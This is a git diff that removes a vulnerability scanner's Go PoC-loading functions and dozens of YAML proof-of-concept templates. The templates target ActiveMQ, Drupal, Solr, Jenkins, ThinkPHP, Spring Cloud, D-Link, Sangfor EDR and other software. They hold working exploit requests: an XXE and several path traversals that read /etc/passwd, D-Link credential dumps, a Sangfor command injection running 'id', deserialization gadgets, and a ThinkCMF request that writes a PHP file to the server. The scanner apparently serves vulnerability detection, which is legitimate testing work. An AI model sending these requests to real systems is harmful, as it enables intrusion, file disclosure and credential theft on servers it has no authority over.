-	for _, f := range SelectPoc(Pocs, pocname) {
-		if p, err := loadPoc(f, Pocs); err == nil {
-			pocs = append(pocs, p)
-		}
-	}
-	return pocs
-}
-
-func loadPoc(fileName string, Pocs embed.FS) (*Poc, error) {
-	p := &Poc{}
-	yamlFile, err := Pocs.ReadFile("pocs/" + fileName)
-
-	if err != nil {
-		return nil, err
-	}
-	err = yaml.Unmarshal(yamlFile, p)
-	if err != nil {
-		return nil, err
-	}
-	return p, err
-}
-
-func SelectPoc(Pocs embed.FS, pocname string) []string {
-	entries, err := Pocs.ReadDir("pocs")
-	if err != nil {
-		fmt.Println(err)
-	}
-	var foundFiles []string
-	for _, entry := range entries {
-		if strings.Contains(entry.Name(), pocname) {
-			foundFiles = append(foundFiles, entry.Name())
-		}
-	}
-	return foundFiles
-}

WebScan/pocs/activemq-cve-2016-3088.yml

@@ -1,34 +0,0 @@
-name: poc-yaml-activemq-cve-2016-3088
-set:
-  filename: randomLowercase(6)
-  fileContent: randomLowercase(6)
-rules:
-  - method: PUT
-    path: /fileserver/{{filename}}.txt
-    body: |
-      {{fileContent}}
-    expression: |
-      response.status == 204
-  - method: GET
-    path: /admin/test/index.jsp
-    search: |
-      activemq.home=(?P<home>.*?),
-    follow_redirects: false
-    expression: |
-      response.status == 200
-  - method: MOVE
-    path: /fileserver/{{filename}}.txt
-    headers:
-      Destination: "file://{{home}}/webapps/api/{{filename}}.jsp"
-    follow_redirects: false
-    expression: |
-      response.status == 204
-  - method: GET
-    path: /api/{{filename}}.jsp
-    follow_redirects: false
-    expression: |
-      response.status == 200 && response.body.bcontains(bytes(fileContent))
-detail:
-  author: j4ckzh0u(https://github.com/j4ckzh0u)
-  links:
-    - https://github.com/vulhub/vulhub/tree/master/activemq/CVE-2016-3088

WebScan/pocs/apache-flink-upload-rce.yml

@@ -1,38 +0,0 @@
-name: poc-yaml-apache-flink-upload-rce
-set:
-    r1: randomLowercase(8)
-    r2: randomLowercase(4)
-rules:
-    - method: GET
-      path: /jars
-      follow_redirects: true
-      expression: >
-        response.status == 200 && response.content_type.contains("json") &&
-        response.body.bcontains(b"address") && response.body.bcontains(b"files")
-    - method: POST
-      path: /jars/upload
-      headers:
-          Content-Type: multipart/form-data;boundary=8ce4b16b22b58894aa86c421e8759df3
-      body: |-
-        --8ce4b16b22b58894aa86c421e8759df3
-        Content-Disposition: form-data; name="jarfile";filename="{{r2}}.jar"
-        Content-Type:application/octet-stream
-
-        {{r1}}
-        --8ce4b16b22b58894aa86c421e8759df3--
-
-      follow_redirects: true
-      expression: >
-        response.status == 200 && response.content_type.contains("json") &&
-        response.body.bcontains(b"success") && response.body.bcontains(bytes(r2))
-      search: >-
-        (?P<filen>([a-zA-Z0-9]{8}-[a-zA-Z0-9]{4}-[a-zA-Z0-9]{4}-[a-zA-Z0-9]{4}-[a-zA-Z0-9]{12}_[a-z]{4}.jar))
-    - method: DELETE
-      path: '/jars/{{filen}}'
-      follow_redirects: true
-      expression: |
-        response.status == 200
-detail:
-    author: timwhite
-    links:
-        - https://github.com/LandGrey/flink-unauth-rce

WebScan/pocs/apache-ofbiz-cve-2020-9496-xml-deserialization.yml

@@ -1,19 +0,0 @@
-name: poc-yaml-apache-ofbiz-cve-2020-9496-xml-deserialization
-set:
-  rand: randomInt(200000000, 210000000)
-rules:
-  - method: POST
-    path: /webtools/control/xmlrpc
-    headers:
-      Content-Type: application/xml
-    body: >-
-      <?xml
-      version="1.0"?><methodCall><methodName>{{rand}}</methodName><params><param><value>dwisiswant0</value></param></params></methodCall>
-    follow_redirects: false
-    expression: >
-      response.status == 200 && response.body.bcontains(bytes("methodResponse")) && response.body.bcontains(bytes("No such service [" + string(rand)))
-detail:
-  author: su(https://suzzz112113.github.io/#blog)
-  links:
-    - https://lists.apache.org/thread.html/r84ccbfc67bfddd35dced494a1f1cba504f49ac60a2a2ae903c5492c3%40%3Cdev.ofbiz.apache.org%3E
-    - https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/apache_ofbiz_deserialiation.rb

WebScan/pocs/apacheofbiz-cve-2018-8033-xxe.yml

@@ -1,15 +0,0 @@
-name: poc-yaml-apacheofbiz-cve-2018-8033-xxe
-rules:
-  - method: POST
-    path: /webtools/control/xmlrpc
-    headers:
-      Content-Type: application/xml
-    body: >-
-      <?xml version="1.0"?><!DOCTYPE x [<!ENTITY disclose SYSTEM "file://///etc/passwd">]><methodCall><methodName>&disclose;</methodName></methodCall>
-    follow_redirects: false
-    expression: >
-      response.status == 200 && "root:[x*]:0:0:".bmatches(response.body) && response.content_type.contains("text/xml")
-detail:
-  author: su(https://suzzz112113.github.io/#blog)
-  links:
-    - https://github.com/jamieparfet/Apache-OFBiz-XXE/blob/master/exploit.py

WebScan/pocs/bt742-pma-unauthorized-access.yml

@@ -1,11 +0,0 @@
-name: poc-yaml-bt742-pma-unauthorized-access
-rules:
-  - method: GET
-    path: /pma/
-    follow_redirects: false
-    expression: |
-      response.status == 200 && response.body.bcontains(b"information_schema") && response.body.bcontains(b"phpMyAdmin") && response.body.bcontains(b"server_sql.php")
-detail:
-  author: Facker007(https://github.com/Facker007)
-  links:
-    - https://mp.weixin.qq.com/s/KgAaFRKarMdycYzETyKS8A

WebScan/pocs/cisco-cve-2020-3452-readfile.yml

@@ -1,11 +0,0 @@
-name: poc-yaml-cisco-cve-2020-3452-readfile
-rules:
-  - method: GET
-    path: /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/portal_inc.lua
-    follow_redirects: false
-    expression: response.status == 200 && response.headers["Content-Type"] == "application/octet-stream" && response.body.bcontains(b"INTERNAL_PASSWORD_ENABLED")
-detail:
-  author: JrD (https://github.com/JrDw0/)
-  links:
-    - https://nvd.nist.gov/vuln/detail/CVE-2020-3452
-    - https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-ro-path-KJuQhB86

WebScan/pocs/coremail-cnvd-2019-16798.yml

@@ -1,12 +0,0 @@
-name: poc-yaml-coremail-cnvd-2019-16798
-rules:
-  - method: GET
-    path: >-
-      /mailsms/s?func=ADMIN:appState&dumpConfig=/
-    follow_redirects: false
-    expression: >
-      response.status == 200 && response.body.bcontains(bytes("<object name=\"cm_md_db\">"))
-detail:
-  author: cc_ci(https://github.com/cc8ci)
-  links:
-    - https://www.secpulse.com/archives/107611.html

WebScan/pocs/discuz-ml3x-cnvd-2019-22239.yml

@@ -1,22 +0,0 @@
-name: poc-yaml-discuz-ml3x-cnvd-2019-22239
-set:
-  r1: randomInt(800000000, 1000000000)
-rules:
-  - method: GET
-    path: /forum.php
-    follow_redirects: false
-    expression: |
-      response.status == 200
-    search: cookiepre = '(?P<token>[\w_]+)'
-  - method: GET
-    path: /forum.php
-    headers:
-      Cookie: "{{token}}language=sc'.print(md5({{r1}})).'"
-    follow_redirects: false
-    expression: |
-      response.status == 200 && response.body.bcontains(bytes(md5(string(r1))))
-detail:
-  author: X.Yang
-  Discuz_version: Discuz!ML 3.x
-  links:
-    - https://www.cnvd.org.cn/flaw/show/CNVD-2019-22239

WebScan/pocs/dlink-cve-2019-17506.yml

@@ -1,14 +0,0 @@
-name: poc-yaml-dlink-cve-2019-17506
-rules:
-  - method: POST
-    path: /getcfg.php
-    headers:
-      Content-Type: application/x-www-form-urlencoded
-    body: SERVICES=DEVICE.ACCOUNT&AUTHORIZED_GROUP=1%0a
-    follow_redirects: false
-    expression: >
-      response.status == 200 && response.body.bcontains(b"<name>") && response.body.bcontains(b"<password>")
-detail:
-  author: l1nk3r,Huasir(https://github.com/dahua966/)
-  links:
-    - https://xz.aliyun.com/t/6453

WebScan/pocs/dlink-cve-2020-9376-dump-credentials.yml

@@ -1,15 +0,0 @@
-name: poc-yaml-dlink-cve-2020-9376-dump-credentials
-rules:
-  - method: POST
-    path: /getcfg.php
-    headers:
-      Content-Type: application/x-www-form-urlencoded
-    body: >-
-      SERVICES=DEVICE.ACCOUNT%0aAUTHORIZED_GROUP=1
-    expression: >
-      response.status == 200 && response.body.bcontains(b"<name>Admin</name>") && response.body.bcontains(b"</usrid>") && response.body.bcontains(b"</password>")
-detail:
-  author: x1n9Qi8
-  Affected Version: "Dlink DIR-610"
-  links:
-    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-9376

WebScan/pocs/docker-api-unauthorized-rce.yml

@@ -1,12 +0,0 @@
-name: poc-yaml-docker-api-unauthorized-rce
-rules:
-  - method: GET
-    path: /info
-    follow_redirects: false
-    expression: |
-      response.status == 200 && response.body.bcontains(b"KernelVersion") && response.body.bcontains(b"RegistryConfig") && response.body.bcontains(b"DockerRootDir")
-
-detail:
-  author: j4ckzh0u(https://github.com/j4ckzh0u)
-  links:
-    - https://github.com/vulhub/vulhub/tree/master/docker/unauthorized-rce

WebScan/pocs/docker-registry-api-unauth.yml

@@ -1,16 +0,0 @@
-name: poc-yaml-docker-registry-api-unauth
-rules:
-  - method: GET
-    path: /v2/
-    follow_redirects: false
-    expression: >
-      response.status == 200 && "docker-distribution-api-version" in response.headers && response.headers["docker-distribution-api-version"].contains("registry/2.0")
-  - method: GET
-    path: /v2/_catalog
-    follow_redirects: false
-    expression: >
-      response.status == 200 && response.content_type.contains("application/json") && response.body.bcontains(b"repositories")
-detail:
-  author: p0wd3r
-  links:
-    - http://www.polaris-lab.com/index.php/archives/253/

WebScan/pocs/druid-monitor-unauth.yml

@@ -1,10 +0,0 @@
-name: poc-yaml-druid-monitor-unauth
-rules:
-  - method: GET
-    path: /druid/index.html
-    expression: |
-      response.status == 200 && response.body.bcontains(b"Druid Stat Index") && response.body.bcontains(b"DruidVersion") && response.body.bcontains(b"DruidDrivers")
-detail:
-  author: met7or
-  links:
-    - https://github.com/alibaba/druid

WebScan/pocs/drupal-cve-2019-6340.yml

@@ -1,33 +0,0 @@
-name: poc-yaml-drupal-cve-2019-6340
-set:
-  host: request.url.host
-  r1: randomLowercase(4)
-  r2: randomLowercase(4)
-rules:
-  - method: POST
-    path: /node/?_format=hal_json
-    headers:
-      Content-Type: application/hal+json
-      Accept: '*/*'
-    body: |
-      {
-        "link": [
-          {
-            "value": "link",
-            "options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:10:\"{{r1}}%%{{r2}}\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:{i:0;s:6:\"printf\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"
-          }
-        ],
-        "_links": {
-          "type": {
-            "href": "http://{{host}}/rest/type/shortcut/default"
-          }
-        }
-      }
-    follow_redirects: true
-    expression: |
-      response.status == 403 && response.body.bcontains(bytes(r1 + "%" + r2))
-detail:
-  author: thatqier
-  links:
-    - https://github.com/jas502n/CVE-2019-6340
-    - https://github.com/knqyf263/CVE-2019-6340

WebScan/pocs/drupal-drupal7geddon2-rce.yml

@@ -1,28 +0,0 @@
-name: poc-yaml-drupal-drupalgeddon2-rce  # nolint[:namematch]
-set:
-  r1: randomLowercase(4)
-  r2: randomLowercase(4)
-rules:
-  - method: POST
-    path: "/?q=user/password&name[%23post_render][]=printf&name[%23type]=markup&name[%23markup]={{r1}}%25%25{{r2}}"
-    headers:
-      Content-Type: application/x-www-form-urlencoded
-    body: |
-      form_id=user_pass&_triggering_element_name=name&_triggering_element_value=&opz=E-mail+new+Password
-    search: |
-      name="form_build_id"\s+value="(?P<build_id>.+?)"
-    expression: |
-      response.status == 200
-  - method: POST
-    path: "/?q=file%2Fajax%2Fname%2F%23value%2F{{build_id}}"
-    headers:
-      Content-Type: application/x-www-form-urlencoded
-    body: |
-      form_build_id={{build_id}}
-    expression: |
-      response.body.bcontains(bytes(r1 + "%" + r2))
-detail:
-  drupal_version: 7
-  links:
-    - https://github.com/dreadlocked/Drupalgeddon2
-    - https://paper.seebug.org/567/

WebScan/pocs/drupal-drupal8geddon2-rce.yml

@@ -1,20 +0,0 @@
-name: poc-yaml-drupal-drupalgeddon2-rce  # nolint[:namematch]
-set:
-  r1: randomLowercase(4)
-  r2: randomLowercase(4)
-rules:
-  - method: POST
-    path: "/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
-    headers:
-      Content-Type: application/x-www-form-urlencoded
-    body: |
-      form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=printf&mail[#type]=markup&mail[#markup]={{r1}}%25%25{{r2}}
-    expression: |
-      response.body.bcontains(bytes(r1 + "%" + r2))
-detail:
-  drupal_version: 8
-  links:
-    - https://github.com/dreadlocked/Drupalgeddon2
-    - https://paper.seebug.org/567/
-test:
-  target: http://cve-2018-7600-8-x.vulnet:8080/

WebScan/pocs/elasticsearch-unauth.yml

@@ -1,16 +0,0 @@
-name: poc-yaml-elasticsearch-unauth
-rules:
-  - method: GET
-    path: /
-    follow_redirects: false
-    expression: |
-      response.status == 200 && response.content_type.contains("application/json") && response.body.bcontains(b"You Know, for Search")
-  - method: GET
-    path: /_cat
-    follow_redirects: false
-    expression: |
-      response.status == 200 && response.body.bcontains(b"/_cat/master")
-detail:
-  author: p0wd3r
-  links:
-    - https://yq.aliyun.com/articles/616757

WebScan/pocs/f5-tmui-cve-2020-5902-rce.yml

@@ -1,16 +0,0 @@
-name: poc-yaml-f5-tmui-cve-2020-5902-rce
-rules:
-  - method: POST
-    path: >-
-      /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp
-    headers:
-      Content-Type: application/x-www-form-urlencoded
-    body: fileName=%2Fetc%2Ff5-release
-    follow_redirects: true
-    expression: |
-      response.status == 200 && response.body.bcontains(b"BIG-IP release")
-detail:
-  author: Jing Ling
-  links:
-    - https://support.f5.com/csp/article/K52145254
-    - https://github.com/rapid7/metasploit-framework/pull/13807/files

WebScan/pocs/fangweicms-sqli.yml

@@ -1,13 +0,0 @@
-name: poc-yaml-fangweicms-sqli
-set:
-  rand: randomInt(200000000, 210000000)
-rules:
-  - method: GET
-    path: /index.php?m=Goods&a=showcate&id=103%20UNION%20ALL%20SELECT%20CONCAT%28md5({{rand}})%29%23
-    expression: |
-      response.body.bcontains(bytes(md5(string(rand))))
-detail:
-  author: Rexus
-  Affected Version: "4.3"
-  links:
-    - http://www.wujunjie.net/index.php/2015/08/02/%E6%96%B9%E7%BB%B4%E5%9B%A2%E8%B4%AD4-3%E6%9C%80%E6%96%B0%E7%89%88sql%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E/

WebScan/pocs/jboss-cve-2010-1871.yml

@@ -1,15 +0,0 @@
-name: poc-yaml-jboss-cve-2010-1871
-set:
-  r1: randomInt(8000000, 10000000)
-  r2: randomInt(8000000, 10000000)
-rules:
-  - method: GET
-    path: /admin-console/index.seam?actionOutcome=/pwn.xhtml%3fpwned%3d%23%7b{{r1}}*{{r2}}%7d
-    follow_redirects: false
-    expression: |
-      response.status == 302 && response.headers["location"].contains(string(r1 * r2))
-detail:
-  author: fuping
-  links:
-    - http://blog.o0o.nu/2010/07/cve-2010-1871-jboss-seam-framework.html
-    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1871

WebScan/pocs/jboss-unauth.yml

@@ -1,11 +0,0 @@
-name: poc-yaml-jboss-unauth
-rules:
-  - method: GET
-    path: /jmx-console/
-    follow_redirects: false
-    expression: |
-      response.status == 200 && response.body.bcontains(b"jboss.management.local") && response.body.bcontains(b"jboss.web")
-detail:
-  author: FiveAourThe(https://github.com/FiveAourThe)
-  links:
-    - https://xz.aliyun.com/t/6103

WebScan/pocs/jenkins-cve-2018-1000861-rce.yml

@@ -1,14 +0,0 @@
-name: poc-yaml-jenkins-cve-2018-1000861-rce
-set:
-  rand: randomLowercase(4)
-rules:
-  - method: GET
-    path: >-
-      /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name=%27test%27,%20root=%27http://aaa%27)%0a@Grab(group=%27package%27,%20module=%27{{rand}}%27,%20version=%271%27)%0aimport%20Payload;
-    follow_redirects: false
-    expression: >-
-      response.status == 200 && response.body.bcontains(bytes("package#" + rand))
-detail:
-  author: p0wd3r
-  links:
-    - https://github.com/vulhub/vulhub/tree/master/jenkins/CVE-2018-1000861

WebScan/pocs/jenkins-unauthorized-access.yml

@@ -1,21 +0,0 @@
-name: poc-yaml-jenkins-unauthorized-access
-set:
-  r1: randomInt(1000, 9999)
-  r2: randomInt(1000, 9999)
-rules:
-  - method: GET
-    path: /script
-    follow_redirects: false
-    expression: response.status == 200
-    search: |
-      "Jenkins-Crumb", "(?P<var>.+?)"\);
-  - method: POST
-    path: /script
-    body: |
-      script=printf%28%27{{r1}}%25%25{{r2}}%27%29%3B&Jenkins-Crumb={{var}}&Submit=%E8%BF%90%E8%A1%8C
-    expression: response.status == 200 && response.body.bcontains(bytes(string(r1) + "%" + string(r2)))
-detail:
-  author: MrP01ntSun(https://github.com/MrPointSun)
-  links:
-    - https://www.cnblogs.com/yuzly/p/11255609.html
-    - https://blog.51cto.com/13770310/2156663

WebScan/pocs/phpmyadmin-cve-2018-12613-file-inclusion.yml

@@ -1,11 +0,0 @@
-name: poc-yaml-phpmyadmin-cve-2018-12613-file-inclusion
-rules:
-  - method: GET
-    path: /index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
-    follow_redirects: false
-    expression: >-
-      response.status == 200 && "root:[x*]:0:0:".bmatches(response.body)
-detail:
-  author: p0wd3r
-  links:
-    - https://github.com/vulhub/vulhub/tree/master/phpmyadmin/CVE-2018-12613

WebScan/pocs/phpstudy-backdoor-rce.yml

@@ -1,19 +0,0 @@
-name: poc-yaml-phpstudy-backdoor-rce
-set:
-  r: randomLowercase(6)
-  payload: base64("printf(md5('" + r + "'));")
-rules:
-  - method: GET
-    path: /index.php
-    headers:
-      Accept-Encoding: 'gzip,deflate'
-      Accept-Charset: '{{payload}}'
-    follow_redirects: false
-    expression: |
-      response.body.bcontains(bytes(md5(r)))
-detail:
-  author: 17bdw
-  Affected Version: "phpstudy 2016-phpstudy 2018 php 5.2 php 5.4"
-  vuln_url: "php_xmlrpc.dll"
-  links:
-    - https://www.freebuf.com/column/214946.html

WebScan/pocs/sangfor-edr-arbitrary-admin-login.yml

@@ -1,13 +0,0 @@
-name: poc-yaml-sangfor-edr-arbitrary-admin-login
-rules:
-  - method: GET
-    path: /ui/login.php?user=admin
-    follow_redirects: false
-    expression: >
-      response.status == 302 &&
-      response.body.bcontains(b"/download/edr_installer_") &&
-      response.headers["Set-Cookie"] != ""
-detail:
-  author: hilson
-  links:
-    - https://mp.weixin.qq.com/s/6aUrXcnab_EScoc0-6OKfA

WebScan/pocs/sangfor-edr-cssp-rce.yml

@@ -1,15 +0,0 @@
-name: poc-yaml-sangfor-edr-cssp-rce
-rules:
-  - method: POST
-    path: /api/edr/sangforinter/v2/cssp/slog_client?token=eyJtZDUiOnRydWV9
-    headers:
-      Content-Type: application/x-www-form-urlencoded
-    body: >-
-      {"params":"w=123\"'1234123'\"|id"}
-    expression: >
-      response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"uid=0(root)")
-detail:
-  author: x1n9Qi8
-  Affected Version: "Sangfor EDR 3.2.17R1/3.2.21"
-  links:
-    - https://www.cnblogs.com/0day-li/p/13650452.html

WebScan/pocs/sangfor-edr-tool-rce.yml

@@ -1,14 +0,0 @@
-name: poc-yaml-sangfor-edr-tool-rce
-set:
-  r1: randomLowercase(8)
-  r2: randomLowercase(8)
-rules:
-  - method: GET
-    path: "/tool/log/c.php?strip_slashes=printf&host={{r1}}%25%25{{r2}}"
-    follow_redirects: false
-    expression: |
-      response.status == 200 && response.body.bcontains(bytes(r1 + "%" + r2))
-detail:
-  author: cookie
-  links:
-    - https://edr.sangfor.com.cn/

WebScan/pocs/shiro.yml

@@ -1,12 +0,0 @@
-name: poc-yaml-shiro
-rules:
-  - method: GET
-    path: /
-    headers:
-      Cookie: rememberMe=1
-    expression: |
-      "Set-Cookie" in response.headers && response.headers["Set-Cookie"].contains("rememberMe")
-detail:
-  author: test
-  links:
-    - https://baidu.com/shiro

WebScan/pocs/solr-cve-2019-0193.yml

@@ -1,30 +0,0 @@
-name: poc-yaml-solr-cve-2019-0193
-set:
-  r1: randomInt(40000, 44800)
-  r2: randomInt(40000, 44800)
-rules:
-  - method: GET
-    path: /solr/admin/cores?wt=json
-    follow_redirects: false
-    expression: response.status == 200 && response.body.bcontains(b"responseHeader")
-    search: '"name":"(?P<core>.*?)"'
-  - method: POST
-    path: >-
-      /solr/{{core}}/dataimport?command=full-import&debug=true&wt=json&indent=true&verbose=false&clean=false&commit=false&optimize=false&dataConfig=%3CdataConfig%3E%0D%0A%3CdataSource%20name%3D%22streamsrc%22%20type%3D%22ContentStreamDataSource%22%20loggerLevel%3D%22DEBUG%22%20%2F%3E%0D%0A%3Cscript%3E%3C!%5BCDATA%5B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20function%20execute(row)%20%20%20%20%7B%0D%0Arow.put(%22id%22,{{r1}}*{{r2}})%3B%0D%0Areturn%20row%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%5D%5D%3E%3C%2Fscript%3E%0D%0A%3Cdocument%3E%0D%0A%20%20%20%20%3Centity%0D%0A%20%20%20%20%20%20%20%20stream%3D%22true%22%0D%0A%20%20%20%20%20%20%20%20name%3D%22streamxml%22%0D%0A%20%20%20%20%20%20%20%20datasource%3D%22streamsrc1%22%0D%0A%20%20%20%20%20%20%20%20processor%3D%22XPathEntityProcessor%22%0D%0A%20%20%20%20%20%20%20%20rootEntity%3D%22true%22%0D%0A%20%20%20%20%20%20%20%20forEach%3D%22%2Fbooks%2Fbook%22%0D%0A%20%20%20%20%20%20%20%20transformer%3D%22script%3Aexecute%22%20%3E%0D%0A%09%09%09%3Cfield%20column%3D%22id%22%20name%3D%22id%22%2F%3E%0D%0A%20%20%20%20%3C%2Fentity%3E%0D%0A%3C%2Fdocument%3E%0D%0A%3C%2FdataConfig%3E
-    headers:
-      Content-Type: text/html
-    body: |-
-      <?xml version="1.0" encoding="utf-8"?>
-      <books>
-       <book>
-       </book>
-      </books>
-    follow_redirects: false
-    expression: response.status == 200 && response.body.bcontains(bytes(string(r1 * r2)))
-detail:
-  author: fnmsd(https://github.com/fnmsd)
-  solr_version: '<8.1.12'
-  vulnpath: '/solr/{{core}}/dataimport'
-  description: 'Apache Solr DataImportHandler Remote Code Execution Vulnerability(CVE-2019-0193)'
-  links:
-    - https://github.com/vulhub/vulhub/tree/master/solr/CVE-2019-0193

WebScan/pocs/solr-velocity-template-rce.yml

@@ -1,38 +0,0 @@
-name: poc-yaml-solr-velocity-template-rce
-set:
-  r1: randomInt(20000, 40000)
-  r2: randomInt(20000, 40000)
-rules:
-  - method: GET
-    path: "/solr/admin/cores?wt=json"
-    follow_redirects: false
-    expression: response.status == 200 && response.body.bcontains(b"responseHeader")
-    search: |
-      "name":"(?P<core>[^"]+)"
-  - method: POST
-    path: >-
-      /solr/{{core}}/config
-    headers:
-      Content-Type: application/json
-    body: |-
-      {
-        "update-queryresponsewriter": {
-          "startup": "test",
-          "name": "velocity",
-          "class": "solr.VelocityResponseWriter",
-          "template.base.dir": "",
-          "solr.resource.loader.enabled": "true",
-          "params.resource.loader.enabled": "true"
-        }
-      }
-    expression: response.status == 200
-  - method: GET
-    path: "/solr/{{core}}/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set(%24c%3D{{r1}}%20*%20{{r2}})%24c"
-    follow_redirects: false
-    expression: response.body.bcontains(bytes(string(r1 * r2)))
-detail:
-  author: Loneyer
-  description: 'Apache Solr RCE via Velocity template'
-  links:
-    - https://gist.githubusercontent.com/s00py/a1ba36a3689fa13759ff910e179fc133/raw/fae5e663ffac0e3996fd9dbb89438310719d347a/gistfile1.txt
-    - https://cert.360.cn/warning/detail?id=fba518d5fc5c4ed4ebedff1dab24caf2

WebScan/pocs/spring-cloud-cve-2020-5405.yml

@@ -1,15 +0,0 @@
-name: poc-yaml-spring-cloud-cve-2020-5405
-rules:
-  - method: GET
-    path: >-
-      /a/b/%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc/resolv.conf
-    follow_redirects: true
-    expression: |
-      response.status == 200 && response.body.bcontains(bytes("This file is managed by man:systemd-resolved(8). Do not edit."))
-
-detail:
-  version: <= 2.1.6, 2.2.1
-  author: kingkk(https://www.kingkk.com/)
-  links:
-    - https://pivotal.io/security/cve-2020-5405
-    - https://github.com/spring-cloud/spring-cloud-config

WebScan/pocs/spring-cloud-cve-2020-5410.yml

@@ -1,12 +0,0 @@
-name: poc-yaml-spring-cloud-cve-2020-5410
-rules:
-  - method: GET
-    path: >-
-      /..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23/a
-    expression: |
-      response.status == 200 && "root:[x*]:0:0:".bmatches(response.body)
-detail:
-  author: Soveless(https://github.com/Soveless)
-  Affected Version: "Spring Cloud Config 2.2.x < 2.2.3, 2.1.x < 2.1.9"
-  links:
-    - https://xz.aliyun.com/t/7877

WebScan/pocs/spring-cve-2016-4977.yml

@@ -1,15 +0,0 @@
-name: poc-yaml-spring-cve-2016-4977
-set:
-  r1: randomInt(40000, 44800)
-  r2: randomInt(40000, 44800)
-rules:
-  - method: GET
-    path: /oauth/authorize?response_type=${{{r1}}*{{r2}}}&client_id=acme&scope=openid&redirect_uri=http://test
-    follow_redirects: false
-    expression: >
-      response.body.bcontains(bytes(string(r1 * r2)))
-detail:
-  Affected Version: "spring(2.0.0-2.0.9 1.0.0-1.0.5)"
-  author: hanxiansheng26(https://github.com/hanxiansheng26)
-  links:
-    - https://github.com/vulhub/vulhub/tree/master/spring/CVE-2016-4977

WebScan/pocs/springcloud-cve-2019-3799.yml

@@ -1,14 +0,0 @@
-name: poc-yaml-springcloud-cve-2019-3799
-rules:
-  - method: GET
-    path: >-
-      /test/pathtraversal/master/..%252F..%252F..%252F..%252F..%252F..%252Fetc%252fpasswd
-    follow_redirects: true
-    expression: |
-      response.status == 200 && "root:[x*]:0:0:".bmatches(response.body)
-
-detail:
-  version: <2.1.2, 2.0.4, 1.4.6
-  author: Loneyer
-  links:
-    - https://github.com/Loneyers/vuldocker/tree/master/spring/CVE-2019-3799

WebScan/pocs/thinkadmin-v6-readfile.yml

@@ -1,13 +0,0 @@
-name: poc-yaml-thinkadmin-v6-readfile
-rules:
-  - method: GET
-    path: /admin.html?s=admin/api.Update/get/encode/34392q302x2r1b37382p382x2r1b1a1a1b2x322s2t3c1a342w34
-    follow_redirects: true
-    expression: |
-      response.status == 200 && response.content_type.contains("json") && response.body.bcontains(bytes("PD9waH")) && response.body.bcontains(bytes("VGhpbmtBZG1pbg"))
-detail:
-  author: 0x_zmz(github.com/0x-zmz)
-  info: thinkadmin-v6-readfile By 0x_zmz
-  links:
-    - https://mp.weixin.qq.com/s/3t7r7FCirDEAsXcf2QMomw
-    - https://github.com/0x-zmz

WebScan/pocs/thinkcmf-lfi.yml

@@ -1,13 +0,0 @@
-name: poc-yaml-thinkcmf-lfi
-
-rules:
-  - method: GET
-    path: "/?a=display&templateFile=README.md"
-    expression: |
-      response.status == 200 && response.body.bcontains(bytes(string(b"ThinkCMF"))) && response.body.bcontains(bytes(string(b"## README")))
-
-detail:
-  author: JerryKing
-  ThinkCMF: x1.6.0/x2.1.0/x2.2.0-2
-  links:
-    - https://www.freebuf.com/vuls/217586.html

WebScan/pocs/thinkcmf-write-shell.yml

@@ -1,18 +0,0 @@
-name: poc-yaml-thinkcmf-write-shell
-set:
-  r: randomInt(10000, 20000)
-  r1: randomInt(1000000000, 2000000000)
-rules:
-  - method: GET
-    path: "/index.php?a=fetch&content=%3C?php+file_put_contents(%22{{r}}.php%22,%22%3C?php+echo+{{r1}}%3B%22)%3B"
-    expression: "true"
-  - method: GET
-    path: "/{{r}}.php"
-    expression: |
-      response.status == 200 && response.body.bcontains(bytes(string(r1)))
-
-detail:
-  author: violin
-  ThinkCMF: x1.6.0/x2.1.0/x2.2.0-2
-  links:
-    - https://www.freebuf.com/vuls/217586.html

WebScan/pocs/thinkphp-v6-file-write.yml

@@ -1,26 +0,0 @@
-name: poc-yaml-thinkphp-v6-file-write
-set:
-  f1: randomInt(800000000, 900000000)
-rules:
-  - method: GET
-    path: /{{f1}}.php
-    follow_redirects: true
-    expression: |
-      response.status == 404
-  - method: GET
-    path: /
-    headers:
-      Cookie: PHPSESSID=../../../../public/{{f1}}.php
-    follow_redirects: true
-    expression: |
-      response.status == 200 && "set-cookie" in response.headers && response.headers["set-cookie"].contains(string(f1))
-  - method: GET
-    path: /{{f1}}.php
-    follow_redirects: true
-    expression: |
-      response.status == 200 && response.content_type.contains("text/html")
-detail:
-  author: Loneyer
-  Affected Version: "Thinkphp 6.0.0"
-  links:
-    - https://github.com/Loneyers/ThinkPHP6_Anyfile_operation_write

WebScan/pocs/thinkphp5-controller-rce.yml

@@ -1,10 +0,0 @@
-name: poc-yaml-thinkphp5-controller-rce
-rules:
-  - method: GET
-    path: /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=printf&vars[1][]=a29hbHIgaXMg%25%25d2F0Y2hpbmcgeW91
